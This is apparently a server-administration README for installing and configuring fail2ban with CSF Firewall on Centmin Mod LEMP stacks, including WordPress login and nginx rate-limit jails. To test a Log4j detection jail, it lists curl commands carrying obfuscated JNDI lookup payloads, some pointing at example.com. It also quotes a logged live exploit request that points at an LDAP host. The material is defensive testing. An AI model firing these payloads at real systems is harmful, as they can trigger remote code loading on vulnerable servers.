fail2ban 0.11+ setup with Python 2.7 for centminmod.com LEMP stacks with CSF Firewall. CentOS EPEL Yum repo fail2ban version is using older fail2ban 0.9.6+, while below instructions are for fail2ban 0.11+ which now supports IPv6 addresses and improved performance. Suggestions, corrections and bug fixes are welcomed. If you want to use a newer fail2ban version besides 0.11, check out fail2ban 1.0.2 implementation that uses Python 3.6 instead of Python 2.7 and supports both CentOS 7 and AlmaLinux 8 and Rocky Linux 8.
Info & Manuals
- https://github.com/fail2ban/fail2ban
- https://github.com/fail2ban/fail2ban/wiki/Proper-fail2ban-configuration
- https://github.com/fail2ban/fail2ban/wiki/Troubleshooting
- fail2ban 0.10 change log
- fail2ban 0.11.2 change log
Contents
- fail2ban installation for CentOS 7 Only
- notes
- customising fail2ban
- examples - wordpress-auth filter action & nginx-req-limit filter action
- fail2ban.sh
- Cloudflare v4 API
- troubleshooting fail2ban
fail2ban.sh status output
./fail2ban.sh
./fail2ban.sh install
./fail2ban.sh status
./fail2ban.sh get JAILNAME
mkdir -p /root/tools
cd /root/tools
git clone -b 0.11 https://github.com/centminmod/centminmod-fail2ban
cd centminmod-fail2ban
./fail2ban.sh install
fail2ban has a native fail2ban-client status command that can list all fail2ban jailnames and fail2ban-client status jailname will output the status of a specific jailname. The fail2ban.sh script supports a similar feature just that the specific jailname's status output is in JSON format for easier parsing and scripting.
The native command output:
fail2ban-client status wordpress-pingback
Status for the jail: wordpress-pingback
|- Filter
| |- Currently failed: 0
| |- Total failed: 3
| `- File list: /home/nginx/domains/domain.com/log/access.log /home/nginx/domains/log4j.domain.com/log/access.log /home/nginx/domains/domain3.com/log/access.log /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain4.com/log/access.log
`- Actions
|- Currently banned: 2
|- Total banned: 2
`- Banned IP list: 162.158.244.169 162.158.244.165
Using fail2ban.sh:
./fail2ban.sh
./fail2ban.sh install
./fail2ban.sh status
./fail2ban.sh get JAILNAME
Example getting the status for jailname = wordpress-pingback
./fail2ban.sh get wordpress-pingback
{
"jail": "wordpress-pingback",
"currentlyFailed": "0",
"totalFailed": "3",
"logPaths": ["/home/nginx/domains/domain.com/log/access.log", "/home/nginx/domains/log4j.domain.com/log/access.log", "/home/nginx/domains/domain3.com/log/access.log", "/home/nginx/domains/demodomain.com/log/access.log", "/home/nginx/domains/domain4.com/log/access.log"],
"currentlyBanned": "2",
"totalBanned": "2",
"bannedIPList": ["162.158.244.169", "162.158.244.165"]
}
Using jq to parse logPaths
./fail2ban.sh get wordpress-pingback | jq -r '.logPaths[]'
/home/nginx/domains/domain.com/log/access.log
/home/nginx/domains/log4j.domain.com/log/access.log
/home/nginx/domains/domain3.com/log/access.log
/home/nginx/domains/demodomain.com/log/access.log
/home/nginx/domains/domain4.com/log/access.log
Using jq to parse bannedIPList
./fail2ban.sh get wordpress-pingback | jq -r '.bannedIPList[]'
162.158.244.169
162.158.244.165
Centmin Mod LEMP stack installs Python 2.7 by default which will be the version used to build fail2ban on CentOS 7. If you want to use a newer fail2ban version besides 0.11, check out fail2ban 1.0.2 implementation that uses Python 3.6 instead of Python 2.7 and supports both CentOS 7 and AlmaLinux 8 and Rocky Linux 8.
USERIP=$(last -i | grep "still logged in" | awk '{print $3}' | uniq | xargs)
SERVERIPS=$(curl -4s https://geoip.centminmod.com/v4 | jq -r '.ip')
IGNOREIP=$(echo "ignoreip = 127.0.0.1/8 ::1 $USERIP $SERVERIPS")
cd /svr-setup/
git clone -b 0.11 https://github.com/fail2ban/fail2ban
cd fail2ban
python setup.py install
\cp -f /svr-setup/fail2ban/build/fail2ban.service /usr/lib/systemd/system/fail2ban.service
\cp -f /svr-setup/fail2ban/files/fail2ban-tmpfiles.conf /usr/lib/tmpfiles.d/fail2ban.conf
\cp -f /svr-setup/fail2ban/files/fail2ban-logrotate /etc/logrotate.d/fail2ban
echo "[DEFAULT]" > /etc/fail2ban/jail.local
echo "ignoreip = 127.0.0.1/8 ::1 $USERIP $SERVERIPS" >> /etc/fail2ban/jail.local
systemctl daemon-reload
systemctl start fail2ban
systemctl enable fail2ban
systemctl status fail2ban
Then
- populate your
/etc/fail2ban/jail.localwith the jail.local contents - copy action.d files to
/etc/fail2ban/action.d - copy filter.d files to
/etc/fail2ban/filter.d - restart fail2ban
systemctl restart fail2banorfail2ban-client reload
- currently this configuration is a work in progress, so not fully tested. Use at your own risk
- centmin mod buffers access log writes to Nginx in memory with directives
main_ext buffer=256k flush=60mand custom log format calledmain_ext, so for fail2ban to work optimally, you would need to disable access log memory buffering and revert to nginx default log format by removing those three directives from your Nginx vhost config file'saccess_logline. Soaccess_log /home/nginx/domains/domain.com/log/access.log main_ext buffer=256k flush=60m;becomesaccess_log /home/nginx/domains/domain.com/log/access.log;and restart Nginx - if switching from CSF Firewall to Cloudflare API action from
action.d/cloudflare.conf. Ensure Centmin Mod 123.09beta01 branch Nginx vhosts are setup with proper real IP detection and Cloudflare IP whitelisting. You can use tools/csfcf.sh script to automate the Cloudflare Nginx configuration and Cloudflare IP whitelisting management outlined here. You can setup a cronjob to run the script in auto mode/usr/local/src/centminmod/tools/csfcf.sh auto.This ensures visitor's real IP address is passed on in your server logs which fail2ban reads. - default
action.d/csfdeny.confban option is to usecsf -dto permanentaly block ip. Though temp block would be more appropriate: - this fail2ban configuration can also work with my bad bot blocking and rate limiting setup. Particularly, for the rate limiting part as it would be detected by fail2ban configuration and/or if you are returning 444 status code for blocked bots.
-td, --tempdeny ip ttl [-p port] [-d direction] [comment]
Add an IP to the temp IP ban list. ttl is how long to blocks for
(default:seconds, can use one suffix of h/m/d). Optional port.
Optional direction of block can be one of: in, out or inout
(default:in)
If you need to modify the default created fail2ban filters located at /etc/fail2ban/filter.d, indead of editing the /etc/fail2ban/filter.d/filtername.conf you should create an override file at /etc/fail2ban/filter.d/filtername.local with the modified settings to override the defaults. This ensures your changes survive update changes to the /etc/fail2ban/filter.d/filtername.conf.
fail2ban-client status
Status
|- Number of jail: 16
`- Jail list: nginx-auth, nginx-auth-main, nginx-botsearch, nginx-common, nginx-conn-limit, nginx-get-f5, nginx-req-limit, nginx-req-limit-main, nginx-req-limit-repeat, nginx-xmlrpc, vbulletin, wordpress-auth, wordpress-comment, wordpress-fail2ban-plugin, wordpress-pingback, wordpress-pingback-repeat
Test against Centmin Mod Nginx vhost created log4j.domain.com
domain=log4j.domain.com
curl -A '${jndi:ldap' -skD - https://$domain
curl -A '${jndi:ldap' -skD - https://$domain/log4j.html
curl -A '${jndi:ldap' -Ik https://$domain
curl -A '${jndi:ldap' -Ik https://$domain/log4j.html
curl -A '(${${::-j}$' -skD - http://$domain
curl -A '${${lower:jndi}' -skD - http://$domain
curl -A '${${lower:j}${lower:n}${lower:d}i:${lower:rmi}' -skD - http://$domain
curl -A '${lower:rmi}' -skD - http://$domain
curl -A '(${${::-j}$' -skD - http://$domain/log4j.html
curl -A '${${lower:jndi}' -skD - http://$domain/log4j.html
curl -A '${${lower:j}${lower:n}${lower:d}i:${lower:rmi}' -skD - http://$domain/log4j.html
curl -A '${lower:rmi}' -skD - http://$domain/log4j.html
curl -X PUT -A '${jndi:ldap' -skD - https://$domain
curl -X PUT -A '${jndi:ldap' -skD - https://$domain/log4j.html
curl -X WHATEVER -A '${jndi:ldap' -skD - https://$domain
curl -X WHATEVER -A '${jndi:ldap' -skD - https://$domain/log4j.html
curl -A '${jndi:ldap' -skD - http://$domain
curl -A '${jndi:ldap' -skD - http://$domain/log4j.html
curl -A '${jndi:ldap' -Ik http://$domain
curl -A '${jndi:ldap' -Ik http://$domain/log4j.html
curl -X GET -A '${jndi:ldap:/' -skD - https://$domain
curl -X GET -A '${jndi:rmi:/' -skD - https://$domain
curl -X GET -A '${jndi:ldaps:/' -skD - https://$domain
curl -X GET -A '${jndi:dns:/' -skD - https://$domain
curl -X GET -A '/$%7bjndi:' -skD - https://$domain
curl -X GET -A '%24%7bjndi:' -skD - https://$domain
curl -X GET -A '$%7Bjndi:' -skD - https://$domain
curl -X GET -A '%2524%257Bjndi' -skD - https://$domain
curl -X GET -A '%2F%252524%25257Bjndi%3A' -skD - https://$domain
curl -X GET -A '${jndi:${lower:' -skD - https://$domain
curl -X GET -A '${::-j}${' -skD - https://$domain
curl -X GET -A '${jndi:nis' -skD - https://$domain
curl -X GET -A '${jndi:nds' -skD - https://$domain
curl -X GET -A '${jndi:corba' -skD - https://$domain
curl -X GET -A '${jndi:iiop' -skD - https://$domain
curl -X GET -A '${${env:BARFOO:-j}' -skD - https://$domain
curl -X GET -A '${::-l}${::-d}${::-a}${::-p}' -skD - https://$domain
curl -X GET -A '${base64:JHtqbmRp' -skD - https://$domain
curl -X GET -A '/Basic/Command/Base64/' -skD - https://$domain
curl -X GET -A '${jndi:${lower:l}${lower:d}a${lower:p}://example.com/a}' -skD - https://$domain
curl -X GET -A '${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//example.com}' -skD - https://$domain
Testing fail2ban regex for filter action /etc/fail2ban/filter.d/nginx-log4j.conf. Notice while testing, live request was logged for /$%7Bjndi:ldap://45.xxx.xxx.xxx:1389/Exploit%7D so readjusted my fail2ban filter action to account for it in future. Also regex accounts for attackers using invalid methods i.e. WHATEVER rather than just match on GET request methods.
This is just an excerpt with some entries removed to make it easier to read.
fail2ban-regex "/home/nginx/domains/log4j.domain.com/log/access.log" /etc/fail2ban/filter.d/nginx-log4j.conf --print-all-matched
Running tests
=============
Use failregex filter file : nginx-log4j, basedir: /etc/fail2ban
Use log file : /home/nginx/domains/log4j.domain.com/log/access.log
Use encoding : UTF-8
Results
=======
Failregex: 62 total
|- #) [# of hits] regular expression
| 1) [26] ^<HOST> .*"(GET|HEAD|POST|PUT|PATCH|DELETE|.*).*\$?\{?jndi:(ldap[s]?|rmi|dns|iiop|corba|nds|http|\$\{lower).*
| 2) [36] ^<HOST> .*"(GET|HEAD|POST|PUT|PATCH|DELETE|.*).*\$?\{?((lower|upper):j(ndi)?|{::-j}|{::-n}|{::-d}|{::-i}|{(lower|upper):(rmi|n|d|i|ı)}|env:ENV_NAME|env:TEST:|env:BARFOO:-j|7(b|B)j|base64:JHtqbmRp|\/Basic\/Command\/Base64\/).*
`-
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [86] Day(?P<_sep>[-/])MON(?P=_sep)ExYear[ :]?24hour:Minute:Second(?:\.Microseconds)?(?: Zone offset)?
`-
Lines: 86 lines, 0 ignored, 60 matched, 26 missed
[processed in 0.06 sec]
|- Matched line(s):
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:16:57 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:17:25 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:19:09 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:ldap:"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:19:11 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:ldap:"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:21:16 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:21:17 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:23:17 +0000] "GET /log4j.html HTTP/2.0" 404 146 "-" "${jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:24:49 +0000] "HEAD / HTTP/1.1" 200 0 "-" "${jndi:ldap"
| 112.74.52.90 - - [13/Dec/2021:05:29:12 +0000] "GET /$%7Bjndi:ldap://45.xxx.xxx.xxx:1389/Exploit%7D HTTP/1.1" 404 146 "-" "Mozilla/5.0 zgrab/0.x"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:29:18 +0000] "PUT / HTTP/2.0" 405 150 "-" "${jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:37:16 +0000] "GET /log4j.html HTTP/2.0" 404 146 "-" "jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:40:57 +0000] "WHATEVER / HTTP/2.0" 405 150 "-" "${jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:40:59 +0000] "WHATEVER / HTTP/2.0" 405 150 "-" "${jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:44:51 +0000] "WHATEVER / HTTP/2.0" 405 150 "-" "${jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:05:48:01 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "jndi:ldap"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:12:18:30 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "(${${::-j}$"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:12:18:32 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "(${${::-j}$"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:12:18:51 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "(${${::-j}$"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:12:19:34 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "${${lower:jndi}"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:12:20:38 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:12:26:16 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "(${${::-n}$"
| xxx.xxx.xxx.xxx - - [13/Dec/2021:12:30:58 +0000] "GET /log4j.html HTTP/1.1" 404 146 "-" "${lower:rmi}"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:09:30:38 +0000] "GET / HTTP/2.0" 200 6592 "-" "${base64:JHtqbmRp"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:09:30:45 +0000] "POST / HTTP/2.0" 200 6592 "-" "${base64:JHtqbmRp"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:10:02:15 +0000] "GET / HTTP/2.0" 200 6592 "-" "${base64:JHtqbmRp"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:10:04:32 +0000] "GET / HTTP/2.0" 200 6592 "-" "/$%7bjndi:"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:10:04:49 +0000] "GET / HTTP/2.0" 200 6592 "-" "%24%7bjndi:"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:10:05:05 +0000] "GET / HTTP/2.0" 200 6592 "-" "$%7Bjndi:"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:10:05:17 +0000] "GET / HTTP/2.0" 200 6592 "-" "%2F%252524%25257Bjndi%3A"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:10:05:33 +0000] "GET / HTTP/2.0" 200 6592 "-" "%2F%252524%25257Bjndi%3A"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:10:05:55 +0000] "GET / HTTP/2.0" 200 6592 "-" "/Basic/Command/Base64/"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:10:24:09 +0000] "GET / HTTP/2.0" 200 6592 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://example.com/a}"
| xxx.xxx.xxx.xxx - - [14/Dec/2021:10:28:47 +0000] "GET / HTTP/2.0" 200 6592 "-" "${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//example.com}"
`-
From fail2ban log file
tail -100 /var/log/fail2ban.log | tail -9
2021-12-13 05:21:21,647 fail2ban.filter [6610]: INFO [nginx-log4j] Found xxx.xxx.xxx.xxx - 2021-12-13 05:21:16
2021-12-13 05:21:21,647 fail2ban.filter [6610]: INFO [nginx-log4j] Found xxx.xxx.xxx.xxx - 2021-12-13 05:21:17
2021-12-13 05:21:21,929 fail2ban.actions [6610]: NOTICE [nginx-log4j] Ban xxx.xxx.xxx.xxx
2021-12-13 05:23:07,162 fail2ban.actions [6610]: NOTICE [nginx-log4j] Unban xxx.xxx.xxx.xxx
2021-12-13 05:23:17,752 fail2ban.filter [6610]: INFO [nginx-log4j] Found xxx.xxx.xxx.xxx - 2021-12-13 05:23:17
2021-12-13 05:23:18,294 fail2ban.actions [6610]: NOTICE [nginx-log4j] Ban xxx.xxx.xxx.xxx
2021-12-13 05:24:46,329 fail2ban.actions [6610]: NOTICE [nginx-log4j] Unban xxx.xxx.xxx.xxx
2021-12-13 05:24:49,502 fail2ban.filter [6610]: INFO [nginx-log4j] Found xxx.xxx.xxx.xxx - 2021-12-13 05:24:49
2021-12-13 05:24:49,833 fail2ban.actions [6610]: NOTICE [nginx-log4j] Ban xxx.xxx.xxx.xxx
The relevant excerpt from fail2ban.sh status output
./fail2ban.sh status
---------------------------------------
nginx-log4j parameters:
maxretry: 1 findtime: 86400 bantime: 86400
allow rate: 1 hits/day
filter last modified: Mon Dec 13 13:52:03 UTC 2021
Status for the jail: nginx-log4j
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/log4j.domain.com/log/access.log
`- Actions
|- Currently banned: 1
|- Total banned: 2
`- Banned IP list: xxx.xxx.xxx.xxx
---------------------------------------
nginx-log4j-main parameters:
maxretry: 1 findtime: 86400 bantime: 86400
allow rate: 1 hits/day
filter last modified: Mon Dec 13 13:51:53 UTC 2021
Status for the jail: nginx-log4j-main
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/nginx/localhost.access.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: 45.xxx.xxx.xxx
---------------------------------------
All Time: Top 10 Banned IP Addresses:
16 xxx.xxx.xxx.xxx [nginx-log4j]
1 45.xxx.xxx.xxx [nginx-log4j-main]
1 xxx.xxx.xxx.xxx [nginx-log4j-main]
---------------------------------------
All Time: Top 10 Restored Banned IP Addresses:
5 45.xxx.xxx.xxx [nginx-log4j-main]
5 xxx.xxx.xxx.xxx [nginx-log4j]
---------------------------------------
Yesterday: Top 10 Banned IP Addresses:
---------------------------------------
Yesterday: Top 10 Restored Banned IP Addresses:
---------------------------------------
Today: Top 10 Banned IP Addresses:
16 xxx.xxx.xxx.xxx [nginx-log4j]
1 45.xxx.xxx.xxx [nginx-log4j-main]
1 xxx.xxx.xxx.xxx [nginx-log4j-main]
---------------------------------------
Today: Top 10 Restored Banned IP Addresses:
5 45.xxx.xxx.xxx [nginx-log4j-main]
5 xxx.xxx.xxx.xxx [nginx-log4j]
---------------------------------------
1 hr ago: Top 10 Banned IP Addresses:
---------------------------------------
1 hr ago: Top 10 Restored Banned IP Addresses:
1 45.xxx.xxx.xxx [nginx-log4j-main]
1 xxx.xxx.xxx.xxx [nginx-log4j]
---------------------------------------
Debug output check for nginx-log4j filter action
fail2ban-client -d | grep "nginx-log4j'"
['add', 'nginx-log4j', 'auto']
['set', 'nginx-log4j', 'usedns', 'warn']
['multi-set', 'nginx-log4j', 'addfailregex', ['^<HOST> .*"(GET|HEAD|POST|PUT|PATCH|DELETE|.*).*\\$?\\{?jndi:(ldap[s]?|rmi|dns|iiop|corba|nds|http|\\$\\{lower).*', '^<HOST> .*"(GET|HEAD|POST|PUT|PATCH|DELETE|.*).*\\$?\\{?((lower|upper):j(ndi)?|{::-j}|{::-n}|{::-d}|{::-i}|{(lower|upper):(rmi|n|d|i|\xc4\xb1)}|env:ENV_NAME|env:TEST:|env:BARFOO:-j|7(b|B)j|base64:JHtqbmRp|\\/Basic\\/Command\\/Base64\\/).*', '^<HOST> .*"(GET|HEAD|POST|PUT|PATCH|DELETE|.*).*(\\$\\{[^\\}]*\\$\\{|\\$\\{jndi)']]
['set', 'nginx-log4j', 'maxmatches', 1]
['set', 'nginx-log4j', 'maxretry', 1]
['set', 'nginx-log4j', 'addignoreip', '127.0.0.1/8', '::1', 'xxx.xxx.xxx.xxx', 'xxx.xxx.xxx.xxx']
['set', 'nginx-log4j', 'logencoding', 'auto']
['set', 'nginx-log4j', 'ignorecommand', '']
['set', 'nginx-log4j', 'findtime', '300']
['set', 'nginx-log4j', 'bantime', '86400']
['set', 'nginx-log4j', 'addlogpath', '/home/nginx/domains/demodomain.com/log/access.log', 'head']
['set', 'nginx-log4j', 'addlogpath', '/home/nginx/domains/log4j.domain.com/log/access.log', 'head']
['set', 'nginx-log4j', 'addaction', 'csfdeny']
['multi-set', 'nginx-log4j', 'action', 'csfdeny', [['actionunban', 'csf -dr <ip>'], ['actionban', 'csf -d <ip> Added by Fail2Ban for nginx-log4j'], ['actioncheck', ''], ['actionstop', ''], ['actionstart', ''], ['actname', 'csfdeny'], ['name', 'nginx-log4j']]]
['start', 'nginx-log4j']
Lets test Wordpress failed login filter wordpress-auth with fail2ban and CSF Firewall. The default jail.local config for wordpress-auth
[wordpress-auth]
enabled = true
filter = wordpress-auth
action = csfdeny[name=wordpress-auth]
#action = cloudflare
logpath = /home/nginx/domains/*/log/access.log
port = http,https
maxretry = 3
findtime = 60
Launching a Siege run with POST request for dummy username and passwords.
siege -b -c1 -r5 "http://domain.com/wp-login.php POST user_login=admintest&user_pass=passtest"
** SIEGE 4.0.2
** Preparing 1 concurrent users for battle.
The server is now under siege...
HTTP/1.1 200 0.53 secs: 7066 bytes ==> POST http://domain.com/wp-login.php
HTTP/1.1 200 0.71 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 200 0.50 secs: 7066 bytes ==> POST http://domain.com/wp-login.php
HTTP/1.1 200 0.73 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 200 0.50 secs: 7066 bytes ==> POST http://domain.com/wp-login.php
HTTP/1.1 200 0.72 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 200 0.50 secs: 7066 bytes ==> POST http://domain.com/wp-login.php
HTTP/1.1 200 1.16 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 200 0.27 secs: 7066 bytes ==> POST http://domain.com/wp-login.php
HTTP/1.1 200 0.73 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
Transactions: 10 hits
Availability: 100.00 %
Elapsed time: 6.35 secs
Data transferred: 0.51 MB
Response time: 0.63 secs
Transaction rate: 1.57 trans/sec
Throughput: 0.08 MB/sec
Concurrency: 1.00
Successful transactions: 10
Failed transactions: 0
Longest transaction: 1.16
Shortest transaction: 0.27
check fail2ban log for wordpress-auth entries
tail -50 /var/log/fail2ban.log | grep wordpress-auth
2017-05-13 06:14:14,216 fail2ban.jail [12969]: INFO Jail 'wordpress-auth' started
2017-05-13 07:07:16,433 fail2ban.filter [12969]: INFO [wordpress-auth] Found xxx.xxx.xxx.xxx - 2017-05-13 07:07:16
2017-05-13 07:08:06,916 fail2ban.filter [12969]: INFO [wordpress-auth] Found xxx.xxx.xxx.xxx - 2017-05-13 07:08:06
2017-05-13 07:08:08,127 fail2ban.filter [12969]: INFO [wordpress-auth] Found xxx.xxx.xxx.xxx - 2017-05-13 07:08:08
2017-05-13 07:08:08,459 fail2ban.actions [12969]: NOTICE [wordpress-auth] Ban xxx.xxx.xxx.xxx
2017-05-13 07:08:09,365 fail2ban.filter [12969]: INFO [wordpress-auth] Found xxx.xxx.xxx.xxx - 2017-05-13 07:08:09
2017-05-13 07:08:10,578 fail2ban.filter [12969]: INFO [wordpress-auth] Found xxx.xxx.xxx.xxx - 2017-05-13 07:08:10
2017-05-13 07:08:12,005 fail2ban.filter [12969]: INFO [wordpress-auth] Found xxx.xxx.xxx.xxx - 2017-05-13 07:08:11
2017-05-13 07:08:12,132 fail2ban.actions [12969]: NOTICE [wordpress-auth] xxx.xxx.xxx.xxx already banned
check CSF Firewall grep the banned ip xxx.xxx.xxx.xxx - notice the note for Added by Fail2Ban for wordpress-auth
csf -g xxx.xxx.xxx.xxx
Chain num pkts bytes target prot opt in out source destination
No matches found for xxx.xxx.xxx.xxx in iptables
IPSET: Set:chain_DENY Match:xxx.xxx.xxx.xxx Setting: File:/etc/csf/csf.deny
csf.deny: xxx.xxx.xxx.xxx # Added by Fail2Ban for wordpress-auth - Sat May 13 07:08:08 2017
check the wordpress-auth jail status
fail2ban-client status wordpress-auth
Status for the jail: wordpress-auth
|- Filter
| |- Currently failed: 0
| |- Total failed: 7
| `- File list: /home/nginx/domains/demodomain.com/log/access.log /home/nginx/domains/domain.com/log/access.log
`- Actions
|- Currently banned: 1
|- Total banned: 1
`- Banned IP list: xxx.xxx.xxx.xxx
nginx-req-limit filter action
testing Centmin Mod's centmin.sh menu option 22 auto installed and configured Wordpress Nginx vhost which auto configures nginx level rate limiting on wp-login.php pages. Connection limit is disabled by default but can be enabled.
/usr/local/nginx/conf/nginx.conf level
limit_req_zone $binary_remote_addr zone=xwplogin:16m rate=40r/m;
#limit_conn_zone $binary_remote_addr zone=xwpconlimit:16m;
vhost level /usr/local/nginx/conf/conf.d/domain.com.conf
location ~* /(wp-login\.php) {
limit_req zone=xwplogin burst=1 nodelay;
#limit_conn xwpconlimit 30;
use Siege benchmark tool (auto installed with Centmin Mod LEMP stacks) connection timed out entries are when CSF Firewall banned the IP via csfdeny.conf action profile:
siege -b -c3 -r10 http://domain.com/wp-login.php
** SIEGE 4.0.2
** Preparing 3 concurrent users for battle.
The server is now under siege...
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.57 secs: 7066 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.62 secs: 7066 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.94 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 200 0.93 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 503 0.61 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.45 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.49 secs: 7066 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.44 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.94 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 503 0.56 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.51 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.46 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.46 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.50 secs: 7066 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.47 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 200 0.91 secs: 100250 bytes ==> GET /wp-admin/load-styles.php?c=0&dir=ltr&load%5B%5D=dashicons,buttons,forms,l10n,login&ver=4.7.4
HTTP/1.1 503 0.48 secs: 1665 bytes ==> GET /wp-login.php
HTTP/1.1 503 0.48 secs: 1665 bytes ==> GET /wp-login.php
[error] socket: -1555597568 connection timed out.: Connection timed out
[error] socket: -1538812160 connection timed out.: Connection timed out
[error] socket: -1538812160 connection timed out.: Connection timed out
[error] socket: -1555597568 connection timed out.: Connection timed out
[error] socket: -1555597568 connection timed out.: Connection timed out
[error] socket: -1538812160 connection timed out.: Connection timed out
[error] socket: -1555597568 connection timed out.: Connection timed out
[error] socket: -1538812160 connection timed out.: Connection timed out
Transactions: 8 hits
Availability: 23.53 %
Elapsed time: 64.99 secs
Data transferred: 0.44 MB
Response time: 1.82 secs
Transaction rate: 0.12 trans/sec
Throughput: 0.01 MB/sec
Concurrency: 0.22
Successful transactions: 8
Failed transactions: 26
Longest transaction: 0.94
Shortest transaction: 0.44
Centmin Mod Nginx error log entries at /home/nginx/domains/domain.com/log/error.log
tail -3 error.log
2017/05/12 06:32:07 [error] 30167#30167: *104 limiting requests, excess: 1.068 by zone "xwplogin", client: IPADDR, server: domain.com, request: "GET /wp-login.php HTTP/1.1", host: "domain.com"
2017/05/12 06:32:07 [error] 30167#30167: *105 limiting requests, excess: 1.001 by zone "xwplogin", client: IPADDR, server: domain.com, request: "GET /wp-login.php HTTP/1.1", host: "domain.com"
2017/05/12 06:32:07 [error] 30167#30167: *108 limiting requests, excess: 1.735 by zone "xwplogin", client: IPADDR, server: domain.com, request: "GET /wp-login.php HTTP/1.1", host: "domain.com"
CSF Firewall blocked IP note the Added by Fail2Ban for nginx-req-limit comment in csf.deny entry
csf -g IPADDR
